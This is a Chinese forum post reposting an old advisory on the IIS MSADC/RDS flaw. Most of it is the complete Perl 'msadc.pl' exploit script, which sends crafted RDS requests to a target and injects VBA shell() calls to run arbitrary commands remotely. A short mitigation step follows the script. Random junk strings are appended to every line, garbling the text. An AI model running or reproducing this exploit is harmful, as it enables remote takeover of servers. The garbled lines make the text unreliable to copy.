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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) Feq]U?  
6O!2P  
涉及程序: i<Zc"v;  
Microsoft NT server VjZ|$k  
`b7t4d*  
描述: Iit; F  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 S_UIO.K  
. 3T3E X|G  
详细: ( ^Nz9{  
如果你没有时间读详细内容的话,就删除: 5<Nx^D  
c:\Program Files\Common Files\System\Msadc\msadcs.dll = m#?neop  
有关的安全问题就没有了。 `+:`_4  
S;#'M![8  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 +VOK%8,p  
BUXpC xQ  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 M%P:n/j  
关于利用ODBC远程漏洞的描述,请参看: )1`0PJoHE  
w_K1]<Q*  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm .p" xVfi6  
$DaNbLV  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 r52gn(,  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 6mxfLlZ  
00~mOK;1  
这里不再论述。 ~V1E0qdAE  
I:1C8*/  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ` 7V]y -  
56kI 5:  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset !wh8'X*  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! =MDys b&:  
],Do6 @M-  
P{ lB50  
#将下面这段保存为txt文件,然后: "perl -x 文件名" sWnLEw  
;+ hH  
#!perl v;D~Pa  
# K`fuf=  
# MSADC/RDS 'usage' (aka exploit) script =$JET<(  
# )=_,O=z$K  
# by rain.forest.puppy ')<hON44EX  
# d S V8q ,D  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me E""bTz@  
# beta test and find errors! F0Yd@Lk$_  
dJNe+ MB`  
use Socket; use Getopt::Std; n<R?ffy  
getopts("e:vd:h:XR", \%args); Ry6@VQ"NLb  
{8bSB.?R  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; ^>v+( z5R  
f\L0 xJ  
if (!defined $args{h} && !defined $args{R}) { B>P{A7Q  
print qq~ }y gD3:vN7  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ^RIl  
-h <host> = host you want to scan (ip or domain) 0[W:d=C`a  
-d <seconds> = delay between calls, default 1 second U26}gT)  
-X = dump Index Server path table, if available 5vnrA'BhBU  
-v = verbose ~6LN6}~|.  
-e = external dictionary file for step 5 z1X`o  
<*cikXS  
Or a -R will resume a command session LG#t<5y~  
{9.|2%a  
~; exit;} suDQ~\ n  
hf&9uHN%7m  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; V+9 MoT?8  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} CB}2j  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} SSMHoJGm  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); J)p l|I  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} -=\c_\O  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } j3E7zRm] \  
LyFN.2qw  
if (!defined $args{R}){ $ret = &has_msadc; kc`Tdn  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 1tFNM[R  
:& ."ttf=  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" tf`^v6m%]  
. "cmd /c "; @GW #&\yM  
$in=<STDIN>; chomp $in; g}(L;fy>7  
$command="cmd /c " . $in ; =]0&i]z[.  
Se =`N  
if (defined $args{R}) {&load; exit;} BR;D@R``}  
t'k$&l}+  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 3AN/ H  
&try_btcustmr; XUuN )i  
|Ds1  
print "\nStep 2: Trying to make our own DSN..."; -m~#Bq  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; PALc;"]O  
:,6\"y-  
print "\nStep 3: Trying known DSNs..."; aO4?m+  
&known_dsn; draN0v f  
&6nWzF  
print "\nStep 4: Trying known .mdbs..."; V)N%WX G  
&known_mdb; u.xnOcOH!  
\(2sW^fY  
if (defined $args{e}){ B:'US&6Lf'  
print "\nStep 5: Trying dictionary of DSN names..."; ,r\o}E2  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } YS"=yye 3e  
P71Lqy)5}A  
print "Sorry Charley...maybe next time?\n"; "S?z@ i(K^  
exit; WNrk}LFof  
z!9-:  
############################################################################## >e$PP8&i_T  
TAW/zpps$  
sub sendraw { # ripped and modded from whisker t;\Y{`  
sleep($delay); # it's a DoS on the server! At least on mine... 7WZ+T"O{I  
my ($pstr)=@_; 4@ai6,<  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || o0KL5].  
die("Socket problems\n"); ##"HF  
if(connect(S,pack "SnA4x8",2,80,$target)){ Oxd]y1  
select(S); $|=1; 2g! +<YZ~  
print $pstr; my @in=<S>; :eVq#3}  
select(STDOUT); close(S); r mg}N  
return @in; 7J<5f)  
} else { die("Can't connect...\n"); }} c9h6C  
Wvf ^N(  
############################################################################## o!A+&{  
E hMNap}5"  
sub make_header { # make the HTTP request '/s)%bc  
my $msadc=<<EOT A2Gevj?F$  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 s!$7(Q86R  
User-Agent: ACTIVEDATA XZd,&YiaG  
Host: $ip 3)ywX&4"L  
Content-Length: $clen ^k9I(f^c-_  
Connection: Keep-Alive [.wYdv35  
xU`p|(SS-  
ADCClientVersion:01.06 97!;.f-  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 8bld3p"^  
0n{=%Q  
--!ADM!ROX!YOUR!WORLD! h~zT ydnH  
Content-Type: application/x-varg Ig>(m49d  
Content-Length: $reqlen o?\?@H  
/ %io+94  
EOT tY4;F\e2|A  
; $msadc=~s/\n/\r\n/g; ~Z' ?LV<t  
return $msadc;} b OY |H~  
d7bS wL  
############################################################################## i=2N;sAl  
Z(CkZll  
sub make_req { # make the RDS request }0Ed ]  
my ($switch, $p1, $p2)=@_; e$rZ5X  
my $req=""; my $t1, $t2, $query, $dsn; l,5+@i`5i  
{"KMs[M  
if ($switch==1){ # this is the btcustmr.mdb query 7-fb.V9  
$query="Select * from Customers where City=" . make_shell(); R (n2A$  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . &Au@S$ij  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} }k.Z~1y  
>fQMXfoY  
elsif ($switch==2){ # this is general make table query *\F~[  
$query="create table AZZ (B int, C varchar(10))"; m ~$v;?i  
$dsn="$p1";} #o#H?Vo9b  
' S/gmn  
elsif ($switch==3){ # this is general exploit table query fe_5LC"  
$query="select * from AZZ where C=" . make_shell(); 3%b6{ie/=  
$dsn="$p1";} GnJt0{  
]:J$w]\  
elsif ($switch==4){ # attempt to hork file info from index server 4^o^F-k'  
$query="select path from scope()"; uQKT  
$dsn="Provider=MSIDXS;";} YPI-<vM~  
-aCKRN85  
elsif ($switch==5){ # bad query O?#7N[7  
$query="select"; b@hqz!)l`  
$dsn="$p1";} ^} >w<'0  
:gFx{*xN/9  
$t1= make_unicode($query); "E4a=YH_  
$t2= make_unicode($dsn); [ub e6  
$req = "\x02\x00\x03\x00"; KF:78C  
$req.= "\x08\x00" . pack ("S1", length($t1)); 67FWa   
$req.= "\x00\x00" . $t1 ; 7WzxA=*#  
$req.= "\x08\x00" . pack ("S1", length($t2)); )zDCu`  
$req.= "\x00\x00" . $t2 ; /Lr.e%  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; +9sQZB# (  
return $req;} <lJ345Q  
l9Q- iJ  
##############################################################################  N4TV  
_7_Y={4=`  
sub make_shell { # this makes the shell() statement :?1Dko^  
return "'|shell(\"$command\")|'";} \1M4Dl5!  
 _;\_l  
############################################################################## M/`lM$98:  
ysnx3(+|  
sub make_unicode { # quick little function to convert to unicode U- k`s[dv  
my ($in)=@_; my $out; Dk51z@  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 'i|YlMFIg  
return $out;} <t!W5q  
P?P#RhvA1  
############################################################################## )MT}+ai  
@gK?\URoT  
sub rdo_success { # checks for RDO return success (this is kludge) k)TpnH! "  
my (@in) = @_; my $base=content_start(@in); XfIJ4ZM5  
if($in[$base]=~/multipart\/mixed/){ Ar#(psU  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} Y"$xX8o  
return 0;} b4Ekqas  
s_p!43\J  
##############################################################################  6(R<{{  
[AJJSd/:  
sub make_dsn { # this makes a DSN for us &m;*<}X  
my @drives=("c","d","e","f"); Bdpy:'fJn  
print "\nMaking DSN: "; l,aay-E  
foreach $drive (@drives) { R[+<^s}p/  
print "$drive: "; rEz^  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . AbW6x  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" `N8O"UcoBo  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); (A.C]hD  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; {R{=+2K!|k  
return 0 if $2 eq "404"; # not found/doesn't exist 6j|{`Zd)G  
if($2 eq "200") { )%fH(ns(  
foreach $line (@results) { (S Yln>o  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} goWuw}?  
} return 0;} 2y1Sne=<Kb  
lr&a;aZp  
############################################################################## V>rU.Mp QU  
VuZr:-K/  
sub verify_exists { -yNlyHv9  
my ($page)=@_; 0JujesUw(  
my @results=sendraw("GET $page HTTP/1.0\n\n"); Zx>=tx}  
return $results[0];} "Z+k=~(  
S$-7SEkO+  
############################################################################## Y8t8!{ytg  
j<e2d7oN  
sub try_btcustmr { W\V.r$? v  
my @drives=("c","d","e","f"); Ab;.5O$y  
my @dirs=("winnt","winnt35","winnt351","win","windows"); $<[79al#  
A^SgI-y|  
foreach $dir (@dirs) { )D%~` ,#pQ  
print "$dir -> "; # fun status so you can see progress @IZnFHN  
foreach $drive (@drives) { :.`2^  
print "$drive: "; # ditto 7F.4Ga;  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; % A0/1{(  
$reqlenlen=length( "$reqlen" ); >^{yF~(  
$clen= 206 + $reqlenlen + $reqlen; |;{6& S  
7 _[L o4_  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); -$Ih@2"6  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} tfWS)y7  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} %\:Wi#w>  
.x&%HA  
############################################################################## ML p9y#  
8H`[*|{'  
sub odbc_error { ;<4a*;IO  
my (@in)=@_; my $base; <%mRSv  
my $base = content_start(@in);  4Wp=y  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this *qpSXmOz  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 7a}k  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; bvOq5Q6  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; + >!;i6|  
return $in[$base+4].$in[$base+5].$in[$base+6];} y8xE 6i  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; V|R,!UND  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . (^>J&[=  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} B`sAk %  
?gXp*>Kg[  
############################################################################## MnHNjsO#  
N6TH}~62}  
sub verbose { JlJ a #  
my ($in)=@_; ksm~<;td  
return if !$verbose; ,`sv1xwd  
print STDOUT "\n$in\n";} I( Mm?9F  
yWf`rF{  
############################################################################## zKK9r~ M  
b~cZS[S  
sub save { D)}v@je"yP  
my ($p1, $p2, $p3, $p4)=@_; IAyp2  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; >@Kx>cg+  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; W} ofAkF  
close OUT;} -tU'yKhn  
s,_m{ to  
############################################################################## Rk8P ax/JK  
NX&_p!_V  
sub load { 5`_SN74o  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 6wg^FD_Q  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); f?)-}\[IR{  
@p=<IN>; close(IN); Ws12b $  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 5Yndc)Z  
$target= inet_aton($ip) || die("inet_aton problems"); wKY_Bo/d  
print "Resuming to $ip ..."; ?r!o~|9|  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; {\\T gs  
if($p[1]==1) { U%/+B]6jP  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; '0,^6'VWOV  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; f,Ghb~y  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); !TcJ)0   
if (rdo_success(@results)){print "Success!\n";} e~(5%CO>#j  
else { print "failed\n"; verbose(odbc_error(@results));}} -7|H}!DFT  
elsif ($p[1]==3){ $Z>'Jp  
if(run_query("$p[3]")){ 4b`=>X;W  
print "Success!\n";} else { print "failed\n"; }} .eC1qWZJpd  
elsif ($p[1]==4){ UL9n-M =  
if(run_query($drvst . "$p[3]")){ %SUQ9\SEs  
print "Success!\n"; } else { print "failed\n"; }} bs1Rvx1:J%  
exit;} ;9'OOz|+1  
'E.w=7z&  
############################################################################## @KUWxFak  
EBmt9S  
sub create_table { nT)vNWT=  
my ($in)=@_; Z #m+ObHK1  
$reqlen=length( make_req(2,$in,"") ) - 28; |+"(L#wk  
$reqlenlen=length( "$reqlen" ); ]{>,rK[So  
$clen= 206 + $reqlenlen + $reqlen; {Hk}Kow  
my @results=sendraw(make_header() . make_req(2,$in,"")); <\S:'g"(  
return 1 if rdo_success(@results); W!(LF7_!  
my $temp= odbc_error(@results); verbose($temp); k|f4Cf,  
return 1 if $temp=~/Table 'AZZ' already exists/; %N_%JK\{@  
return 0;} {fp[BF  
|gY^)9ei  
############################################################################## 8a"%0d#  
xe$_aBU  
sub known_dsn { 6d~'$<5on  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go n._-! WI  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", N4HqLh23H  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", AwF:Iu^3n  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 8Cv?Z.x5  
h@wgd~X9  
foreach $dSn (@dsns) { lk80#( :Z  
print "."; e@YK@?^#N  
next if (!is_access("DSN=$dSn")); r,2g^ K)6  
if(create_table("DSN=$dSn")){ 0Y5_PTWb+Y  
print "$dSn successful\n"; S0W||#Pr  
if(run_query("DSN=$dSn")){ h zn6kbv  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Ssg&QI  
print "Something's borked. Use verbose next time\n";}}} print "\n";} YZJyk:H\  
M rb)  
############################################################################## <QGXy=  
m~ee/&T  
sub is_access { 1yY0dOoLG)  
my ($in)=@_; S`Rs82>  
$reqlen=length( make_req(5,$in,"") ) - 28; [=`q>|;pOv  
$reqlenlen=length( "$reqlen" ); 5Jnlz@P9  
$clen= 206 + $reqlenlen + $reqlen; E&:,oG2M  
my @results=sendraw(make_header() . make_req(5,$in,"")); <ZR9GlIr  
my $temp= odbc_error(@results); \z} Ic%Tp  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); oe~b}:  
return 0;} f(7GX3?  
~flV`wy$$1  
############################################################################## Fv`,3aNB  
6;5Ss?ep  
sub run_query { Ilm^G}GB  
my ($in)=@_; Rbv;?'O$L  
$reqlen=length( make_req(3,$in,"") ) - 28; o#1 $q`Z  
$reqlenlen=length( "$reqlen" ); Eu04e N  
$clen= 206 + $reqlenlen + $reqlen; seeB S/%  
my @results=sendraw(make_header() . make_req(3,$in,"")); ZqO^f*F>h  
return 1 if rdo_success(@results); 18:%~>.!  
my $temp= odbc_error(@results); verbose($temp); 0+b1vhQ  
return 0;} #C@FYO f*  
,5<Cd,`*  
############################################################################## )@bQu~Y  
3"\lu?-E  
sub known_mdb { "U"Z 3 *  
my @drives=("c","d","e","f","g"); |#N&akC  
my @dirs=("winnt","winnt35","winnt351","win","windows"); \Y}8S/]  
my $dir, $drive, $mdb; mpJ#:}n  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; D^;Uq8NDKq  
`Ryp% Bn  
# this is sparse, because I don't know of many "" ZQ/t\  
my @sysmdbs=( "\\catroot\\icatalog.mdb", @7n"yp*"  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", m&yJzMW|  
"\\system32\\certmdb.mdb", uY'HT|@:{  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% |$_sX9\`?|  
@U}1EC{A  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", H} g{Cr"Ex  
"\\cfusion\\cfapps\\forums\\forums_.mdb", |LKXOU c  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", DM>eVS3}  
"\\cfusion\\cfapps\\security\\realm_.mdb", u\JNr}bL  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 3sZ\0P}   
"\\cfusion\\database\\cfexamples.mdb", ,s;Uf F  
"\\cfusion\\database\\cfsnippets.mdb", xKp4*[}m  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", =_u4=4  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 3=ymm^  
"\\cfusion\\brighttiger\\database\\cleam.mdb", u> 7=AlWF-  
"\\cfusion\\database\\smpolicy.mdb", 9'q*:&qq  
"\\cfusion\\database\cypress.mdb", <Q?F?.^e  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", UFuX@Lu0  
"\\website\\cgi-win\\dbsample.mdb", $iz|\m  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 4+ Z]3oIRE  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 5/Uy{Xt  
); #these are just 0{R=9wcc  
foreach $drive (@drives) { '2^Q1{ :\  
foreach $dir (@dirs){ 6)Lk-D  
foreach $mdb (@sysmdbs) { :9 ^* ^T  
print "."; i~J'%a<Qp  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ wj0\$NQ=x  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 6!FQzFCZq  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ VP]%Hni]  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; czd~8WgOa  
} else { print "Something's borked. Use verbose next time\n"; }}}}} u;c?d!E  
\)|hogI|f  
foreach $drive (@drives) { !C: $?oU  
foreach $mdb (@mdbs) { |$b}L7_  
print "."; ekCC5P!  
if(create_table($drv . $drive . $dir . $mdb)){ #;nYg?d=  
print "\n" . $drive . $dir . $mdb . " successful\n"; [cp+i^f  
if(run_query($drv . $drive . $dir . $mdb)){ J/*`7Pd  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; M/K5#8Arj  
} else { print "Something's borked. Use verbose next time\n"; }}}} JaGtsi9%.  
} E?0%Z&1h  
| %Vh`HT  
############################################################################## XOS[No~  
@MCg%Afw  
sub hork_idx { ,nm*q#R,0  
print "\nAttempting to dump Index Server tables...\n"; [q #\D  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; C~iL3C b  
$reqlen=length( make_req(4,"","") ) - 28; Dm<A ^u8  
$reqlenlen=length( "$reqlen" ); n6a`;0f[R  
$clen= 206 + $reqlenlen + $reqlen; kW&TJP+5*  
my @results=sendraw2(make_header() . make_req(4,"","")); [IhYh<i  
if (rdo_success(@results)){ Ek]'km!  
my $max=@results; my $c; my %d; )+2hl  
for($c=19; $c<$max; $c++){ Jg| XH L)  
$results[$c]=~s/\x00//g; d-dEQKI?;  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; N<injx  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; mL: sJf  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; !Q0w\j h  
$d{"$1$2"}="";} oM`0y@QCf  
foreach $c (keys %d){ print "$c\n"; } &KRX[2  
} else {print "Index server doesn't seem to be installed.\n"; }} Npy :!  
^.NU|NQi'  
############################################################################## JcxThZP~  
Q$@I"V&G.  
sub dsn_dict { *bA.zmzM  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); "1 M[5\Ax  
while(<IN>){ V 6reqEh  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; R/z=p_6p7`  
next if (!is_access("DSN=$dSn")); 6jLCU%^  
if(create_table("DSN=$dSn")){ 9mTJ|sN:e  
print "$dSn successful\n"; hZ  
if(run_query("DSN=$dSn")){ ;MdlwQ$`  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { dNeVo|Y~h  
print "Something's borked. Use verbose next time\n";}}} QB'aON\S  
print "\n"; close(IN);} @2 fg~2M1  
E09 :E  
############################################################################## v z '&%(  
0.k7oB;f(@  
sub sendraw2 { # ripped and modded from whisker W|63Ir67  
sleep($delay); # it's a DoS on the server! At least on mine... 7E~;xn;  
my ($pstr)=@_; fS78>*K  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Z}Ft:7   
die("Socket problems\n"); W v+?TEP  
if(connect(S,pack "SnA4x8",2,80,$target)){ )|=j`jCC  
print "Connected. Getting data"; ]-/VHh  
open(OUT,">raw.out"); my @in; ?2Py_gkf  
select(S); $|=1; print $pstr; wEvVL  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} P me^l%M  
close(OUT); select(STDOUT); close(S); return @in; rCdu0 gYT  
} else { die("Can't connect...\n"); }} Zba2d,8/  
J{fH ['tzO  
############################################################################## RdR p.pb8  
I(BQ34q  
sub content_start { # this will take in the server headers YGC L2Y  
my (@in)=@_; my $c; GDiBl*D  
for ($c=1;$c<500;$c++) { p4 ^yVa  
if($in[$c] =~/^\x0d\x0a/){ n]o<S+z  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } %aVq+kC h  
else { return $c+1; }}} q6V>zi  
return -1;} # it should never get here actually QX'qyojxN  
vuY~_  
############################################################################## 5uj?#)N  
CN8Y\<Ar  
sub funky { *mvlb (' &  
my (@in)=@_; my $error=odbc_error(@in); ;u46Z  
if($error=~/ADO could not find the specified provider/){ l?n\i]'  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; JO6)-U$7UG  
exit;} |imM# wF  
if($error=~/A Handler is required/){ hy"\RW  
print "\nServer has custom handler filters (they most likely are patched)\n"; U>}w2bZ*  
exit;} <k'h:KB?`  
if($error=~/specified Handler has denied Access/){ 1ztG;\  
print "\nServer has custom handler filters (they most likely are patched)\n"; :(*V?WI  
exit;}} K:# I  
*d4 eK+U$5  
############################################################################## \\B(r  
XYOC_.f1  
sub has_msadc { VY=jc~c]v  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); h^(* Tv-!  
my $base=content_start(@results); dn$!&  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); #( 146  
return 0;} N)\. [v  
<FkFs{(t  
######################## EDl!w:  
l L@XM2"  
y(yHt= r  
解决方案: HJ[cM6$2  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll O:{~urV  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 '/p/8V.O.  
~H<6gN<j(.  
拿出来充数 哈哈
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